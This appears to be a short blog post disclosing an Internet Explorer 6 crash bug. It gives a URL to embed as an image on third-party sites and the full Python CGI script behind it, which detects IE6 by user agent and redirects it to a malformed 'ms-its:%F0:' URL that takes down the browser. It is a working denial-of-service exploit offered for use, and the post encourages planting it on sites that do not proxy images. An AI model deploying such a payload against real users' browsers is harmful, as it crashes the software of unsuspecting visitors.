Here's another crash bug.

Just link the following URL as an image somewhere on a page (works on third-party sites that pass image URLs directly to browsers):

http://grack.com/crash.py

There's a crash in IE's URL parser that takes down the browser if it attempts to process this URL: "ms-its:%F0:". The above script returns an image to every browser, but a Location: redirect to IE6. If a site doesn't proxy images for its users, it'll send them to the link and take down the browser. Known by Microsoft, doesn't require scripting, still unpatched.

Source, for anyone interested:

  #!/usr/bin/python
  # http://grack.com
  import os
  import sys

  if os.environ["HTTP_USER_AGENT"].find("MSIE 6.0") != -1:
        print "Content-Type: image/png"
        print "Location: ms-its:%F0:"
        print ""
  else:
        print "Content-Type: image/png"
        print ""
        print open("crash.png").read()